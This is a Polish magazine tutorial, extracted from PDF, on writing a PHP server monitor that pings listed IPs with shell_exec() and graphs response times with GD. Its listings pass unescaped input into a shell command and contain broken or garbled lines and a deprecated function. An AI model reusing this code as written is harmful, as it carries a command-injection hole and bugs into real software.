uczestniczy w pracach zespołu kontroli

jakości PHP i ma na koncie setki popra-

wionych błędów, jak również sporo popra-

wek wydajnościowych i nowych funkcji.

Kontakt z autorem: [email protected]

O autorze

Page 56: PHPSolutions_2_2006_PL

PHP Solutions Nr 2/2006

Projekty

www.phpsolmag.org56

Aby rozwiązać ten problem, stwo-

rzymy własny system monitorowa-

nia serwera – nazwiemy go Server

Monitoring System. Jego zadaniem będzie

pingowanie naszych serwerów, sprawdzał

ich dostępności i wyświetlanie danych

w czasie rzeczywistym, w postaci wykresu.

Podstawowe założeniaSprecyzujmy najpierw nasze wymagania

dotyczące systemu:

� możliwość testowania wielu serwerów,

� przechowywanie wyników w dogod-

nym miejscu,

� regularne wykonywanie testów i od-

świeżanie rezultatów,

� wyświetlanie wyników ostatniego testu

każdego z serwerów,

� wyświetlanie rezultatów w czasie rze-

czywistym – wykres liniowy.

Zacznijmy od problemu kluczowego: spo-

sobu testowania serwerów. Istnieje tu wie-

Wydaje nam się, że jeśli jeden z naszych

serwerów ulegnie awarii, ktoś bardzo szybko

nas o tym poinformuje. W rzeczywistości

nic takiego się nie wydarzy, ponieważ każdy

przyjmuje, że sami dbamy o swój sprzęt

i właśnie jesteśmy w trakcie przywracania

funkcjonowania systemu.

le możliwości, ale my wykorzystamy starą,

dobrą komendę ping, którą wywołamy

korzystając z wbudowanej do PHP funkcji

shell_exec(). Nasz kod PHP będzie ją

więc wykonywał jako polecenie powłoki

(patrz Listing 1).

Zbieranie i przetwarzanie danych z polecenia pingZa pomocą polecenia ping można uzy-

skać całkiem sporo informacji, nas jednak

interesuje wyłącznie to, czy i jak szybko

serwer odpowiedział na pingowanie. Ozna-

cza to, że w zwróconym przez funkcję

shell_exec() łańcuchu $command musimy

Piszemy monitor serwera w PHPPatrick O'Brien

W SIECI

1. http://www.jpowered.com/

php-scripts/php-gd.htm

– opis instalacji biblioteki GD

dla silnika PHP

2. http://www.boutell.com/gd/

– strona domowa biblioteki

GD

3. http://www.jpowered.com/

php-scripts/adv-graph-chart/

index.htm – zaawansowana

kolekcja wykresów i diagra-

mów w PHP (zbiór gotowych

funkcji grafi cznych PHP)

Co powinieneś wiedzieć...Powinieneś znać podstawy modułu GD.

Co obiecujemy...Dowiesz się jak stworzyć działającą

aplikację do monitorowania serwera ko-

rzystającą z GD.

Stopień trudności: ���

Page 57: PHPSolutions_2_2006_PL

ServerMonitor

PHP Solutions Nr 2/2006

Projekty

www.phpsolmag.org 57

poszukać tylko kilku danych. Po pierwsze,

należy sprawdzić, czy w łańcuchu tym

znajduje się świadczący o braku odpowie-

dzi serwera ciąg Request timed out. Po

drugie, powinniśmy uzyskać dane o czasie

odpowiedzi serwera – czyli poszukać łań-

cucha time=. Na Listingu 2 zamieszczamy

kod PHP służący do wykonania testów

i wydobycia potrzebnych danych.

Teraz musimy poinformować nasz

skrypt o tym, które serwery należy te-

stować. Najłatwiejszym sposobem wy-

konania tego zadania jest pobranie listy

adresów IP z pliku. Skrypt przetestuje więc

wszystkie adresy IP, które znajdzie w pliku

tekstowym ips.txt. Na Listingu 3 prezentu-

jemy kod PHP umożliwiający załadowanie

adresów IP do naszego skryptu.

Przechowywanie wynikówWyniki będziemy przechowywać w pliku

tekstowym pingresult.txt. Choć dla niektó-

rych taki sposób może być kontrowersyjny

(będą twierdzić, że baza danych byłaby

lepszym rozwiązaniem), umożliwia on

zachowanie prostoty i uniwersalności

skryptu, tak aby mógł być uruchamiany na

prawie każdej maszynie – niezależnie od

tego, czy dostępne są na niej inne narzę-

dzia poza PHP.

Za pomocą naszej funkcji pingującej

sprawdzimy, czy plik pingresult.txt istnieje

i jeśli go nie ma, utworzymy go. Wyniki

najnowszego testu będą dodawane na

Rysunek 1. Strona wyników zawierająca wykres

WymaganiaSerwer WWW z uruchomionym PHP i aktywnym modułem grafi cznym GD.

Instalacja i testowanie systemuAby zainstalować system, należy rozpakować archiwum zawierające dwa pliki – line-

graph.php oraz ping.php. Następnie trzeba stworzyć plik tekstowy o nazwie ips.txt i umie-

ścić w nim adresy serwerów, które chcemy monitorować. Wszystkie pliki powinny się

znajdować w tym samym katalogu. Potem wystarczy otworzyć przeglądarkę i wpisać

adres pliku ping.php. Jeśli operacja się powiodła, serwery będą pingowane co 2 sekundy,

a wykres liniowy będzie automatycznie aktualizowany.

Moduł grafi czny GDModuł GD Graphics jest dołączany do wszystkich wersji PHP, począwszy od 4.3. Dzia-

ła on także z wcześniejszymi wersjami PHP, ale by z niego skorzystać, należy w takim

wypadku przeprowadzić instalację ręczną. W celu sprawdzenia, czy moduł GD Graphics

jest dostępny, wystarczy skorzystać z funkcji phpinfo(). Powinna ona zwrócić tabelę za-

wierającą pełną listę ustawień systemowych i środowiskowych, wśród których powinniśmy

odszukać sekcję o tytule GD. Znajduje się tam zmienna GD Support, która może przyjąć

jedną z dwóch wartości, informującą o włączonym bądź wyłączonym module (enabled

albo disabled). Jeśli Twoja instalacja PHP nie posiada sekcji GD, to moduł nie jest zain-

stalowany.

Jak zainstalować GDInstalacja biblioteki GD w środowisku Windows jest bardzo prosta. Wystarczy pobrać plik

php_gd2.dll lub php_gd.dll ze strony http://php.net/download.php, skopiować go do pod-

katalogu ext w katalogu z zainstalowanym PHP, a następnie dodać linię extension=php_

gd2.dll (lub extension=php_gd.dll) do sekcji Extension pliku php.ini (lub usunąć rozpo-

czynający ją znak komentarza). Moduł GD będzie dostępny po ponownym uruchomieniu

serwera WWW.

W środowisku Linux sytuacja jest nieco bardziej skomplikowana. Jeżeli nie chcemy

aktualizować parsera PHP, musimy pobrać archiwum zawierające GD ze strony http://

końcu pliku. Każdy wynik wymaga zapisa-

nia trzech informacji:

� adres IP,

� czas odpowiedzi serwera (w milise-

kundach),

� data i czas przeprowadzenia testu.

Każdy wiersz pliku wyników będzie zawie-

rał wszystkie trzy informacje oddzielone

przecinkami. Na Listingu 4 pokazujemy

odpowiadający za to kod PHP.

Teraz możemy odczytać listę adresów

IP do testowania, wykonać polecenie ping

dla każdego z nich i zapisać wyniki. Na-

sza funkcja pingująca jest gotowa (patrz

Listing 5).

Odświeżanie danychNastępny dylemat dotyczy sposobu wyko-

nywania regularnych testów serwerów – tu

też mamy kilka możliwości. Dla użytkowni-

ków systemów Linux/UNIX najbardziej

oczywistym wyborem byłoby zapewne

umieszczenie odpowiedniego polecenia

w kolejce demona cron. Nasz skrypt ma

być jednak przenośny, musi więc działać

poprawnie także w systemach, w których

cron jest niedostępny (np. MS Windows).

Jak więc rozwiążemy ten problem? Nasz

Server Monitoring System będzie aplikacją

webową, będziemy więc po prostu wywo-

ływać funkcję testującą za każdym razem,

gdy otwierana jest strona z wynikami.

Strona ta będzie zawierała obrazek

z wykresem i trochę kodu JavaScript.

Obrazek będzie generowany przez

Page 58: PHPSolutions_2_2006_PL

ServerMonitor

PHP Solutions Nr 2/2006

Projekty

www.phpsolmag.org58

moduł GD, który jest często stosowany

w komputerowej obróbce grafi ki pod

PHP. Moduł ten jest domyślnie włączony

we wszystkich wersjach PHP nowszych

niż 4.3.

Natomiast kod JavaScript posłuży do

regularnego wykonywania funkcji i aktuali-

zacji wykresu w czasie rzeczywistym. Na

Listing 1. Wykonanie polecenia ping

// Wykonaj polecenie ping w zależności od systemu operacyjnego

if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {

$command = shell_exec("ping -n 1 $ip[$i]"); // Polecenie ping (MS Windows)

} else {

$command = shell_exec("ping -c 1 $ip[$i]"); // Polecenie ping (UNIX/Linux)

}

Listing 2. Uzyskanie czasu pingowania ze zwróconego łańcucha $command

// Wydobądź czas pingowania ze zwróconego łańcucha

if (eregi("Request timed out", $command)) { // sprawdzenie opóźnień

$mstime = 0.0;

} else { // Ping zadziałał – pobierz czas

$mstime = 0.0;

$bp = stripos($command, "time=")+5;

$ep = stripos($command, "ms");

$mstime = substr($command, $bp, $ep-$bp);

}

$iptime[$i] = $mstime;

Listing 3. Pobieranie listy serwerów do tablicy

// Odczytaj listę adresów IP z pliku ips.txt

$linips.txtes = @fi le("ips.txt");

if (!$lines) { // Sprawdź, czy się nie udało

print("Błąd ładowania pliku z adresami IP: ips.txt<br>");

exit;

}

$ipcount = 0;

foreach ($lines as $line) {

$line = trim($line);

if (strlen($line)>0) {

$ip[$ipcount] = trim($line);

$ipcount++;

}

}

Listing 4. Zapisywanie wyników

// Zachowaj wyniki w pliku pingresult.txt

$handle = @fopen("pingresult.txt","a");

if (!$handle) {

print("Udało się otworzyć lub utworzyć plik: pingresult.txt<br>");

exit;

} else {

$datetime = time();

for ($i=0;$i<$ipcount;$i++) {

$result = $ip[$i].",".$iptime[$i].",".$datetime."\n";

if (!fwrite($handle, $result)) {

print("Nie można zapisać do pliku pingresult.txt");

exit;

}

}

}

fclose($handle);

Listingu 6 prezentujemy użyty przez nas

kod JavaScript. Jak widać, odświeża on

tylko stronę w X-sekundowych odstępach.

Wartość X ustawiliśmy na 2000 milisekund

(2 sekundy).

Nasza funkcja pingująca będzie nosiła

nazwę ping_function(). Będzie wywo-

ływana z centralnego skryptu, ping.php

(patrz Listing 7). Ten sam skrypt będzie

zresztą generował stronę z wynikami

przez wywołanie innej funkcji o nazwie

results_table(). Strona będzie się skła-

dała z małej tabeli w HTML-u, zawierają-

cej wyniki ostatniego testu ping każdego

z serwerów (patrz Listing 8).

Mamy już działający system zdolny

przetestować wszystkie serwery, zapisać

rezultaty i wyświetlić wyniki ostatniego

testu. Dodatkowo, nasz system automa-

tycznie wykona cały proces co każde

X sekund, aż do zakończenia sesji prze-

glądarki. Brakuje nam tylko grafi cznej

prezentacji wyników.

Prezentacja wyników – rysujemy wykresyJęzyk PHP umożliwia dynamiczne gene-

rowanie grafi ki. Wykorzystamy tę cechę

do tworzenia obrazów zawierających

wykresy liniowe. Kod odpowiedzialny za

rysowanie wykresów umieścimy w pliku

linegraph.php.

Pierwszym krokiem będzie utworze-

nie PHP-owego obiektu zawierającego

obraz. Dokonamy tego za pomocą funkcji

imagecreate(), tworząc obiekt o nazwie

$image. Następnie narysujemy wykres

w tym obiekcie. Na koniec uzyskamy dane

wyjściowe obiektu $image w standardo-

wym formacie i zwrócimy je do procesu

wywołującego. W naszym przypadku for-

matem wyjściowym będzie PNG, a obraz

zwrócimy do przeglądarki internetowej.

Kod wykonujący te czynności pokazujemy

na Listingu 9.

Język PHP pozwala uzyskać obraz

wyjściowy w różnych formatach, mię-

dzy innymi GIF, JPEG i TIFF. Jednak

w przypadku zastosowań wymagających

wykresów dobrze będzie użyć PNG, gdyż

format ten wykorzystuje bezstratny algo-

rytm kompresji i obsługuje większą paletę

kolorów niż GIF.

Musimy zapamiętać kilka ważnych

informacji. Po pierwsze, nasz skrypt

generuje nagłówki informujące przeglą-

darkę, że dostarczane dane mają postać

obrazu w formacie PNG. Istotne jest, by

skrypt nie wysyłał przeglądarce żadnych

innych danych, nawet znaku spacji czy

entera (CR). Jeśli tak się stanie, silnik

PHP automatycznie wyśle nagłówki in-

formujące o przesyłaniu pliku text/html,

a nasze wysiłki spełzną na niczym. Druga

istotna uwaga dotyczy faktu, iż ustawiamy

również wysokość i szerokość obrazu.

Wymiary te muszą dokładnie odpowiadać

Page 59: PHPSolutions_2_2006_PL

ServerMonitor

PHP Solutions Nr 2/2006

Projekty

www.phpsolmag.org 59

parametrom width i height znacznika

<img> w dokumencie HTML, w którym

prezentujemy wyniki. Jeśli dane te nie

będą identyczne, wykres będzie znie-

kształcony.

Wróćmy teraz do rysowania wykresu.

Musimy wykonać następujące kroki:

Listing 5. Kompletna funkcja pingująca

function ping_function() { // Odczytaj listę adresów IP z pliku ips.txt

$lines = @fi le("ips.txt");

if (!$lines) { // Sprawdź, czy odczytanie się powiodło

print("Błąd ładowania pliku z adresami IP: ips.txt<br>");

exit;

}

$ipcount = 0;

foreach ($lines as $line) {

$line = trim($line);

if (strlen($line)>0) {

$ip[$ipcount] = trim($line);

$ipcount++;

}

} // Pinguj każdy z adresów IP

for ($i=0;$i<$ipcount;$i++) {

// Wykonaj polecenie ping w zależności od systemu operacyjnego

if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {

$command = shell_exec("ping -n 1 $ip[$i]"); // Polecenie ping w MS Windows

} else {

$command = shell_exec("ping -c 1 $ip[$i]");

// Polecenie ping w systemach UNIX/Linux

} // Wydobądź czas pingowania ze zwróconego łańcucha

if (eregi("Request timed out", $command)) {// sprawdzenie opóźnień

$mstime = 0.0;

} else { // ping zadziałał, pobierz czas

$mstime = 0.0;

$bp = stripos($command, "time=")+5;

$ep = stripos($command, "ms");

$mstime = substr($command, $bp, $ep-$bp);

}

$iptime[$i] = $mstime;

} // Zapisz wyniki w pliku pingresult.txt

$handle = @fopen("pingresult.txt","a");

if (!$handle) {

print("Nie udało się otworzyć lub utworzyć pliku: pingresult.txt<br>");

exit;

} else {

$datetime = time();

for ($i=0;$i<$ipcount;$i++) {

$result = $ip[$i].",".$iptime[$i].",".$datetime."\n";

if (!fwrite($handle, $result)) {

print("Nie można zapisać wyników do pliku pingresult.txt");

exit;

}

}

}

fclose($handle);

return;

}

Listing 6. Funkcja do odświeżania – JavaScript

<script language='JavaScript'><!--

setTimeout('refresh()',2000);

function refresh() {

location.href = 'ping.php';

print "}

Listing 7. Podstawa skryptu pingu-

jącego

// Wywołaj funkcję pingującą

ping_function();

// Utwórz nagłówek strony ze

// skryptem odświeżającym

?><html>

<body>

<script language='JavaScript'>

<!--

setTimeout('refresh()',2000);

function refresh()

{

location.href = 'ping.php';

}

--></script><?php

// Wypisz wyniki ostatniego

// pingowania dla każdego adresu IP

results_table();

// Utwórz stopkę strony

?></body></html>

� odczytać informacje z dwóch plików:

ips.txt i pingresult.txt,

� określić kolor dla każdego z adresów IP,

� pobrać wyłącznie ostatnie 10 rezulta-

tów z pliku zawierającego wyniki,

� obliczyć (na podstawie czasów

pingowania) skalę, która obejmie

90 % powierzchni wykorzystywanej

siatki,

� narysować wykres.

Na Listingach 10 i 11 prezentujemy kod

wykonujący pierwsze cztery kroki – omó-

wimy ich najciekawsze fragmenty.

Pierwszy z nich dotyczy defi nicji

kolorów. Zanim dany kolor zostanie

wykorzystany przez funkcję rysującą,

musi zostać zdefi niowany i dodany do

palety obrazu. Służy do tego funkcja

imagecolorallocate(). Po drugie, aby

proces rysowania wykresu przebiegał

szybko i prosto, uwzględnimy tylko 10

ostatnich wyników z pliku. Ostatni istot-

ny fragment kodu dotyczy obliczania

skali – aplikacja powinna być prosta

i szybka w działaniu, więc nasze obli-

czenia będziemy przeprowadzać w spo-

sób dość podstawowy, choć technicznie

poprawny.

Teraz musimy tylko wygenerować wy-

kres. W tym celu powinniśmy narysować:

� tło,

� siatkę,

� etykiety osi X,

� etykiety osi Y,

� legendę.

Oczywiście, musimy też umieścić na

wykresie dane o odpowiednich warto-

ściach.

Wszystkie te zadania zrealizujemy za

pomocą osobnych funkcji, które przedsta-

Page 60: PHPSolutions_2_2006_PL

ServerMonitor

PHP Solutions Nr 2/2006

Projekty

www.phpsolmag.org60

wiamy na Listingach 12 i 13. Przeanalizuj-

my ich najważniejsze aspekty.

Pierwszą interesującą funkcją jest

imagefi lledrectangle(). Wypełnia ona

prostokąt określonym kolorem (zdefi niowa-

nym wcześniej). Funkcję tę wykorzystamy

później w innej funkcji, o nazwie draw_

background(), aby wypełnić cały obraz

kolorem tła (w tym przypadku czarnym).

Kolejną ważną funkcją jest wbudo-

wana do modułu GD imageline(), która

odpowiada za rysowanie linii prostych.

Jest na tyle elastyczna, że pozwala ryso-

wać różne rodzaje linii – od ciągłych do

linii o zdefi niowanym typie. Wykorzystamy

tę możliwość w kolejnej funkcji, którą na-

zwiemy draw_grid(). Jej zadaniem będzie

rysowanie siatki w postaci zielonych linii

przerywanych.

Funkcje draw_xlabels(), draw_

ylabels() oraz draw_legend() posłużą

nam do umieszczenia opisów: etykiet osi

X i Y oraz legendy. Każda z nich będzie

korzystać z funkcji imagestring(), uży-

wanej do umieszczania tekstu. Niezbęd-

ne parametry to umiejscowienie obrazu,

czcionka, pozycja pozioma (x), pozycja

pionowa (y), tekst do wyświetlenia i je-

go kolor. My użyjemy prostych czcionek

dostępnych we wszystkich instalacjach

PHP, choć mamy również możliwość

korzystania z czcionek TrueType i Free-

Type.

Przejdźmy do naszej następnej funk-

cji o nazwie plot_values(). Będzie ona

odpowiadała za dwie rzeczy – rysowanie

linii ciągłych pomiędzy punktami danych

za pomocą funkcji imageline(), a na-

stępnie za rysowanie małych okręgów dla

każdej wartości danych przy użyciu funk-

cji imagearc(). I to wszystko – nasz skrypt

linegraph.php jest gotowy.

Wywoływanieskryptu linegraph.phpAby dodać wykres do strony HTML z wy-

nikami, korzystamy ze znacznika <img>,

którego element SRC wskazuje na skrypt

linegraph.php. Jedyne parametry, na które

powinniśmy zwrócić uwagę, to wysokość

i szerokość – wymiary te muszą się zga-

dzać z ustawionymi na początku skryptu

linegraph.php:

<img src='linegraph.php' width='660'

height='400'>

Linijkę tę należy umieścić na samym koń-

cu skryptu ping.php (patrz Listing 14).

Listing 8. Funkcja results_table()

function results_table() {

// Określ liczbę adresów IP

$lines = @fi le("ips.txt");

if (!$lines) { // Sprawdź, czy się nie udało

print("Błąd ładowania pliku z adresami IP: ips.txt<br>");

exit;

}

$ipcount = 0;

foreach ($lines as $line) {

$line = trim($line);

if (strlen($line)>0) {

$ip[$ipcount] = trim($line);

$ipcount++;

}

}

$lines = @fi le("pingresult.txt");

if (!$lines) { // See if it failed

print("Błąd ładowania pliku: pingresult.txt<br>");

exit;

}

else {

foreach ($lines as $line) {

// Każda linia pliku z wynikami zawiera 3 elementy reprezentujące:

// adres IP, czas pingowania w ms i datę pingowania

$components = explode(",", $line);

$series = -1;

for ($i=0;$i<$ipcount;$i++) {

if (strcasecmp($components[0], $ip[$i]) == 0) { $series = $i; }

if ($series > -1) {

$ip_datetime[$series] = date("Y-m-d G:i:s",$components[2]);

$ip_time[$series] = $components[1];

}

}

}

}

// Tabela rozpoczynająca plik HTML

$content = "<table width='400' border='1' cellspacing='0' cellpadding='5'

bgcolor='#FFFFFF'>\n<tr bgcolor='#CCFFFF'> \n<td colspan='3'> \n".

" <div align='center'><font color='#006666'><b><font face='Arial, Helvetica,

sans-serif' size='2'>Wyniki ostatniego pingowania</font></b></font>

</div></td></tr><tr><td>".

" <div align='left'><font color='#006666'><b><font face='Arial, Helvetica,

sans-serif' size='2'>Adres IP</font></b></font></div></td><td> \n".

" <div align='left'><font color='#006666'><b><font size='2' face='Arial,

Helvetica, sans-serif'>Date/Time</font></b></font></div></td><td>\n".

" <div align='left'><font color='#006666'><b><font face='Arial, Helvetica,

sans-serif' size='2'>Czas pingowania</font></b></font></div></td></tr>\n";

for ($i=0;$i<$ipcount;$i++) {

// Dodaj do tabeli wiersz dla każdego IP

$content = $content." <tr><td>".

" <div align='left'><font face='Arial, Helvetica, sans-serif'

size='2'>".$ip[$i]."</font></div></td><td>".

" <div align='left'><font face='Arial, Helvetica, sans-serif'

size='2'>".$ip_datetime[$i]."</font></div></td><td> \n".

" <div align='left'><font face='Arial, Helvetica, sans-serif'

size='2'>".$ip_time[$i]."ms</font></div></td></tr>\n";

}

// Koniec tabeli (HTML)

$content = $content."</table>\n";

// Wyświetl tabelę

print $content;

return;

}

Page 61: PHPSolutions_2_2006_PL

ServerMonitor

PHP Solutions Nr 2/2006

Projekty

www.phpsolmag.org 61

Nasz Server Monitoring System jest

gotowy. Możemy zatem zająć się jego

instalacją i testowaniem.

Dalszy rozwój systemuStworzony przez nas system monitoro-

wania jest szybki i prosty – może być

używany na niemal każdym serwerze.

Oznacza to jednak, że nie mogliśmy za-

implementować pewnych funkcji. Przede

wszystkim, proces monitorujący jest ak-

tywny wyłącznie podczas oglądania strony

z wynikami. Aby to zmienić, musielibyśmy

wykorzystać oprogramowanie obsługujące

działania cykliczne (na przykład demona

cron) i umieścić funkcję ping_function()

w osobnym skrypcie. Czy warto? O tym

powinniście zadecydować sami. Zalety

takiego rozwiązania to między innymi

możliwość informowania o awariach ser-

wera, choćby za pośrednictwem poczty

elektronicznej. Jednak z drugiej strony,

taka funkcjonalność może powodować

pewne problemy – na przykład obciążenie

systemu e-mailowego w przypadku czę-

stych awarii.

Inne utrudnienie wiąże się z tym, że

w wielu instalacjach PHP włączana jest

opcja safe_mode (w pliku php.ini). Unie-

możliwia ona używanie niektórych spośró

wykorzystywanych przez program pin-

gujący funkcji, włącznie z shell_exec().

Opcja ta jest często aktywna na serwe-

rach współdzielonych, udostępnianych

przez dostawców Internetu. Aplikacja

umieszczona na takiej maszynie wyma-

gałaby więc wykorzystania innej metody

testowania naszych serwerów. Można na

przykład nawiązać z testowanym serwe-

rem połączenie typu socket za pomocą

funkcji fsockopen() lub – jeżeli omawiany

serwer jest serwerem WWW – po prostu

zmierzyć czas otwarcia strony domowej

witryny. Warto jednak rozważyć, czy

umieszczenie naszego programu na ser-

werze współdzielonym w ogóle ma sens.

Serwery tego typu generują przecież

duży ruch i mają małą wydajność, a my

potrzebujemy dość szybkiej maszyny. Le-

piej więc zainstalować aplikację na kom-

puterze lokalnym, na którym postawimy

serwer WWW.

Co więcej, jeżeli nasza aplikacja

ma testować wiele serwerów przez

długi czas, lepiej byłoby dodać funkcje

zarządzające plikiem z wynikami, na

przykład w celu wyczyszczenia go, gdy

lista stanie się zbyt długa, lub w celu

archiwizacji najstarszych wpisów. Warto

Listing 9. Generowanie obrazu PNG

$width = 660;

$height = 400;

// Utwórz obraz, na którym będziemy rysować wykres

$image = @imagecreate($width, $height) or die(

"Nie można zainicjalizować nowego strumienia obrazu GD");

// Ustaw dane nagłówkowe. Upewnij się, że przeglądarka nie buforuje obrazów

header('Expires: Sat, 01 January 2000 05:00:00 GMT');

header('Last-Modifi ed: ' . gmdate('D, d M Y H:i:s') . 'GMT');

header('Cache-Control: no-cache, must-revalidate');

header('Pragma: no-cache'); // Ustaw format obrazu

header("Content-type: image/png"); // Wyślij obraz do przeglądarki

imagepng($image);

// Zniszcz zasoby i zakończ

imagedestroy($image);

exit;

// NIE UMIESZCZAJ NICZEGO PONIŻEJ ZAMYKAJĄCEGO ZNACZNIKA PHP, NAWET SPACJI ANI

// POWROTU KARETKI, BO WYKRES NIE ZOSTANIE WYGENEROWANY!!!

?>

Listing 10. Defi niowanie i obliczanie parametrów wykresu

// Ustaw kolory i rozmiar czcionki

$backgroundcolor = imagecolorallocate($image, 0, 0, 0);

$gridlinecolor = imagecolorallocate($image, 0, 150, 0);

$labelcolor = imagecolorallocate($image, 255, 255, 255);

$font=2;

// Określ liczbę adresów IP, które uwzględni rysunek

$lines = @fi le("ips.txt");

if (!$lines) { // Sprawdź, czy się nie udało

print("Błąd ładowania pliku z adresami IP: ips.txt<br>");

exit;

}

$ipcount = 0;

foreach ($lines as $line) {

$line = trim($line);

if (strlen($line)>0) {

$ip[$ipcount] = trim($line);

$ipcount++;

}

} // Ustaw kolor dla każdego z adresów IP

for ($i=0;$i<=$ipcount;$i++) {

// Pierwsze 3 adresy IP mają zdefi niowane kolory.

// Dla kolejnych adresów wartość kolorów zostanie obliczona.

if ($i<=3) {

switch ($i) {

case 0: $ipcolor[$i] = imagecolorallocate($image, 255, 50, 50); break;

case 1: $ipcolor[$i] = imagecolorallocate($image,100, 100, 255);break;

case 3: $ipcolor[$i] = imagecolorallocate($image, 255, 0, 255); break;

}

} else {

$red = $i*200;

$green = 128 + $i*150;

$blue = 255 - $i*100;

while ($red>255) {$red = $red - 250;}

while ($green>255) {$green = $green - 250;}

while ($blue<0) {$blue = $blue + 250;}

$ipcolor[$i] = imagecolorallocate($image, $red, $green, $blue);

}

} // Oczytaj dane z pliku pingresult.txt. Uruchom liczniki

for ($i=0;$i<=$ipcount;$i++) {

$ip_count[$i] = 0;

}

$lines = @fi le("pingresult.txt");

if (!$lines) { // Sprawdź, czy się nie udało

print("Błąd ładowania pliku: pingresult.txt<br>");

exit;

}

Page 62: PHPSolutions_2_2006_PL

ServerMonitor

PHP Solutions Nr 2/2006

Projekty

www.phpsolmag.org62

Listing 11. Defi niowanie i oblicznie parametrów wykresu, c.d.

else {

foreach ($lines as $line) {

// Każda linia pliku z wynikami zawiera 3

// elementy reprezentujące: adres IP,

// czas pingowania w ms i datę pingowania

$components = explode(",", $line);

$series = -1;

for ($i=0;$i<$ipcount;$i++) {

if(strcasecmp($components[0],$ip[$i])==0)

{$series = $i;}

}

if ($series > -1) {

$ip_data[$series][$ip_count[$series]]=

$components[1];

$ip_time[$series][$ip_count[$series]]=

$components[2];

$ip_count[$series]++;

}

}

}

// Posortuj dane i wskaż 10 ostatnich obiektów

// dla każdego adresu IP na wykresie

for ($j=0;$j<10;$j++) {

for ($i=0;$i<$ipcount;$i++) {

$points[$i][$j] = 0.0;

}

$xlabel[$j] = " ";

}

$npoints = 0;

while($npoints<=10&&($ip_count[0]-$npoints)>-1){

for ($i=0;$i<$ipcount;$i++) {

$points[$i][10-$npoints]=$ip_data[$i]

[$ip_count[$series]-$npoints];

}

$xlabel[10-$npoints]=date("G:i:s",$ip_time[0]

[$ip_count[$series]-$npoints]);

$npoints++;

}

// Oblicz skalę wykresu

$max = -999999.99;

$min = 999999.99;

// Oblicz wartości minimalne i maksymalne

for ($j=0;$j<10;$j++) {

for ($i=0;$i<$ipcount;$i++) {

if ($points[$i][$j]>$max){

$max = $points[$i][$j];

}

if($points[$i][$j]<$min){

$min = $points[$i][$j];

}

}

}

// Oblicz skalę tak, by maksymalne

// wartości wyniosły 90% skali

$range = $max - $min;

$max = $max + $range/20;

$min = $min - $range/20;

$starty = $min;

$scale = ($max - $min)/10;

Listing 12. Rysowanie elementów wykresu liniowego

function draw_background() {

global $image,$backgroundcolor,$width,$height;

// Kolor tła

imagefi lledrectangle($image,0,0,$width,$height,

$backgroundcolor);

return;

}

function draw_grid() {

global $image, $gridlinecolor;

// Rysuj siatkę. Ustaw styl linii tak,

// aby były one przerywane

$style=array($gridlinecolor,$backgroundcolor);

imagesetstyle($image, $style);

// pionowe linie siatki

for ($i = 0; $i <= 10; $i++) {

imageline($image,50+60*$i,50,50+60*$i,350,

IMG_COLOR_STYLED);

}

// poziome linie siatki

for ($i = 0; $i <= 10; $i++) {

imageline($image,50,50+$i*30,650,50+$i*30,

IMG_COLOR_STYLED);

}

return;

}

function draw_xlabels() {

global $image,$labelcolor,$xlabel,$font;

// Rysuj etykiety osi X

for($i=0;$i< 10;$i++){

imagestring($image,$font,50+60*$i,355,$xlabel[$i],

$labelcolor);

}

return;

}

function draw_ylabels() {

global $image, $labelcolor, $font, $starty, $scale;

// Rysuj wartości osi Y

for ($i = 0; $i <= 10; $i++) {

$yvalue = $starty + $i * $scale;

$format_yvalue=number_format($yvalue,2,".",",");

$format_yvalue = $format_yvalue."ms";

imagestring($image,$font,3,342-$i*30,

$format_yvalue,$labelcolor);

}

return;

}

function draw_legend() {

global $image,$ipcolor,$ip,$ipcount,$font;

for ($i=0;$i<$ipcount;$i++) {

imagestring($image,$font,50+$i*100,20,$ip[$i],

$ipcolor[$i]);

}

return;

}

Page 63: PHPSolutions_2_2006_PL

ServerMonitor

PHP Solutions Nr 2/2006

Projekty

www.phpsolmag.org 63

też rozważyć użycie bazy danych (najle-

piej szybkiej).

Wreszcie, funkcjonalność funkcji

rysującej wykresy z założenia jest

ograniczona. Można rozważyć wpro-

wadzenie pewnych ulepszeń, takich jak

zwiększenie ilości umieszczanych da-

nych, tudzież rozbudowa mechanizmu

obliczania skali.

PodsumowanieNasz system Server Monitor to do-

skonały przykład możliwości języka

PHP związanych z rysowaniem wykre-

sów. Wykazaliśmy, że dane w postaci

grafi cznej mają większe znaczenie,

a ich interpretacja przez użytkownika

jest łatwiejsza i szybsza. Co więcej,

gruntownie przedstawiliśmy możliwości

biblioteki GD, służącej jako silnik odpo-

wiadający za wizualną stronę aplikacji.

Warto posłużyć się naszym przykładem

jako punktem wyjścia do do dalszego

zgłębiania wiedzy o bibliotece GD i ge-

nerowaniu wykresów za pomocą języka

PHP. �

Listing 13. Rysowanie elementów wykresu liniowego, c.d.

function plot_values() {

global $image, $starty, $scale, $points, $ipcolor, $ipcount;

// rysuj linie

for ($j=1;$j<10;$j++) {

for ($i=0;$i<$ipcount;$i++) {

// Oblicz pozycję końca linii

$x1 = 80 + 60*$j;

$y1 = 350 - (($points[$i][$j]-$starty)*30)/$scale;

// Oblicz pozycję początku linii

$x2 = 80 + 60*($j-1);

$y2 = 350 - (($points[$i][$j-1]-$starty)*30)/$scale;

// Rysuj linię

imageline ($image, $x2, $y2, $x1, $y1, $ipcolor[$i]);

}

}

// Rysuj punkty

for ($j=0;$j<10;$j++) {

for ($i=0;$i<$ipcount;$i++) {

// Oblicz pozycję tego punktu

$xpos = 80 + 60*$j;

$ypos = 350 - (($points[$i][$j]-$starty)*30)/$scale;

// Rysuj punkt

imagearc ( $image, $xpos, $ypos, 4, 4, 0, 360, $ipcolor[$i]);

}

}

return;

}

Listing 14. Dodanie wykresu liniowego do strony z wynikami

// Rysuj wyniki

// z pliku pingresult.txt

print("<br><br>Ping Results

Graph<br>\n");

print("<IMG SRC='linegraph.php'

WIDTH='660' HEIGHT='400'><BR>\n");

Patrick O'Brien jest założycielem

i twórcą strony Jpowered.com oferującej

zaawansowane oprogramowanie dla

projektantów WWW i programistów.

Witryna autora:

http://www.jpowered.com

O autorze

R E K L A M A

Page 64: PHPSolutions_2_2006_PL

www.phpsolmag.org64

Projekty

PHP Solutions Nr 2/2006

Glade to narzędzie ułatwiające

tworzenie opartych na GTK inter-

fejsów dla aplikacji napisanych

m.in. w C++, Pythonie, PHP czy Perlu. Za

jego pomocą w prosty sposób umiescimy

potrzebne elementy, m.in. okna, listy, przy-

